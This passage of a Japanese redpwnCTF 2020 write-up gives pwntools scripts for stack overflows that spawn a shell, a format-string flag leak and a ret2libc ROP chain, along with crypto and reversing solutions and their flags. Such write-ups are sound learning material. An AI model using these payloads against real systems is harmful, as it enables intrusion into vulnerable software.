  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}

f:id:boxwolf:20200622124450p:plain
20h(=32)-8=24文字より多く入力するとオーバーフローしてcodeが0でなくなる。
無言でシェルが起動するので、lscat flag.txtと打つだけ。

flag: flag{b0ffer_0verf10w_3asy_as_123}

pwn/coffer-overflow-1

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}

オーバーフローのさせ方は前問と同じだが、codeが指定の値である必要がある。

from pwn import *

io = remote('2020.redpwnc.tf', 31255)
payload = b'A'*24 + p64(0xcafebabe)

s = io.recvuntil('?')
print(s)
print(b'payload: ' + payload)
io.send(payload)
io.interactive()


flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}

pwn/coffer-overflow-2

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}

returnアドレスを書き換えてbinFunctionに飛ぶようにすればよい。

$ checksec coffer-overflow-2
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ objdump -d coffer-overflow-2
(snip)
00000000004006e6 <binFunction>:
  4006e6:   55                      push   %rbp
  4006e7:   48 89 e5                mov    %rsp,%rbp
(snip)

PIEなし。オーバーフローする位置は同じなので、binFunctionのアドレス(0x4006e6)を入れるように変える。

from pwn import *

io = remote('2020.redpwnc.tf', 31908)
payload = b'A'*24 + p64(0x4006e6)

s = io.recvuntil('?')
print(s)
print(b'payload: ' + payload)
io.send(payload)
io.interactive()

flag: flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}

crypto/pseudo-key

情報量が落ちる系のcryptは苦手。
まずはkeyを特定するのだが、暗号化後の文字が"i"(8)だった場合、元の文字が"e"(4)か"r"(17)かわからない。
両方を見比べて、意味のある文字列になるように拾っていったところ、"redpwwwnctf"になった。

#!/usr/bin/env python3

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

ct = 'z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut'
ck = 'iigesssaemk'
dk = 'redpwwwnctf'

# for cki in ck:
#   n = chr_to_num[cki]
#   print('' + num_to_chr[n//2] + ' or ' + num_to_chr[(n+26)//2])

m = ''
for i in range(len(ct)):
  if ct[i] == '_':
    m += '_'
  else:
    n1 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]]
    n2 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]] + 26
    if n1 < 0:
      m += num_to_chr[n2]
    elif 25 < n2:
      m += num_to_chr[n1]
    else:
      print('error')
print('flag{' + m + '}')

flag: flag{i_guess_pseudo_keys_are_pseudo_secure}

pwn/secret-flag

format string bugも苦手。

$ ./secret-flag 
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%p%p%p%p%p%p%p%p%p%Hello there: 0x7ffea44444700x7fafc2c459e00x7fafc29703c00x7fafc3056740(nil)0x3a4446ba00x7fafc4f7f0100x70257025702570250x70257025702570

区切りが入っていなくて見づらいけど、入力値(%p=0x2570)は8番目以降に格納されている。

f:id:boxwolf:20200622172341p:plain

flag.txtのopen、readは既に行われていて、後は格納されているbufを読み出せばよい。
buf(-28h)は入力値s(-20h)の、qw(8バイト)単位で言うと一つ前に格納されている、つまり7番目がbufのアドレス。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%7$s
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}

flag: flag{n0t_s0_s3cr3t_f1ag_n0w}

crypto/4k-rsa

素因数を増やしたらつよいのか?わたしにはよくわからない…。
でもfactordbで素因数分解できてしまったので。

from Crypto.Util.number import inverse, long_to_bytes

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537
c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171

p = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]
phi = 1
for i in range(len(p)):
  phi = phi * (p[i]-1)

d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

flag: flag{t0000_m4nyyyy_pr1m355555}

rev/bubbly

_Bool check(void)

{
  uint32_t i;
  _Bool pass;
  
  i = 0;
  while( true ) {
    if (8 < i) {
      return true;
    }
    if (nums[i + 1] < nums[i]) break;
    i = i + 1;
  }
  return false;
}

int main(void)

{
  uint32_t i;
  int unused;
  _Bool pass;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("I hate my data structures class! Why can\'t I just sort by hand?");
  pass = false;
  while( true ) {
    __isoc99_scanf(&DAT_00102058);
    if (8 < i) break;
    nums[i] = nums[i] ^ nums[i + 1];
    nums[i + 1] = nums[i + 1] ^ nums[i];
    nums[i] = nums[i] ^ nums[i + 1];
    pass = check();
  }
  if (pass == false) {
    puts("Try again!");
  }
  else {
    puts("Well done!");
    print_flag();
  }
  return 0;
}

配列を繰り返しモゾモゾするような関数(言語化が難しい)はデコンパイラの方が見やすい。Ghidraで見る。
nums[i]とnum[i+1]で繰り返しxorして代入している部分は、配列num[i]とnum[i+1]の要素を入れ替えている。

XOR交換アルゴリズム - Wikipedia

用意された配列を、ぶっちゃければ手作業でバブルソートして小さい順に並べる問題。

gdb-peda$ x/10wx 0x555555558060
0x555555558060 <nums>:    0x00000001  0x0000000a  0x00000003  0x00000002
0x555555558070 <nums+16>: 0x00000005  0x00000009  0x00000008  0x00000007
0x555555558080 <nums+32>: 0x00000004  0x00000006

配列の構造体は上記のようになっている。
つまり0x1、0xa、…、0x6の配列の、入れ替える場所を0-8で指定し、小さい順に並べる。
終わったら、8より大きい値を入力して終了。

入れ替える箇所はどこからでもいいので、12345678456745645319を入力した。

flag: flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}

pwn/the-library

他CTFのwriteupのコードを借りただけ。
初めてROPとret2libcした。最初は一つひとつアドレス調べて書いてたんだけどpwntoolsが全部やってくれると知って驚いた。便利。

from pwn import *

io = remote('2020.redpwnc.tf', 31350)
elf = ELF('./true')
libc = ELF('./libc.so.6')
#io = process(elf.path)
rop = ROP(elf)

# true
puts_plt = elf.plt['puts']
main = elf.symbols['main']
libc_start_main = elf.symbols['__libc_start_main']
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

log.info("puts@plt: " + hex(puts_plt))
log.info("__libc_start_main: " + hex(libc_start_main))
log.info("pop rdi gadget: " + hex(pop_rdi))

base = b'A'*24
print(io.recvline())

payload = base + p64(pop_rdi) + p64(libc_start_main) +  p64(puts_plt) + p64(main)
io.send(payload)

print(io.recvline())
print(io.recvline())

recieved = io.recvline().strip()
leak = u64(recieved.ljust(8, b'\x00'))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))

binsh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

log.info("/bin/sh %s " % hex(binsh))
log.info("system %s " % hex(system))

print(io.recvline())

payload = base + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

io.send(payload)
io.interactive()

2nd payloadのret gadgetが何故必要なのかわかってない…。

flag: flag{jump_1nt0_th3_l1brary}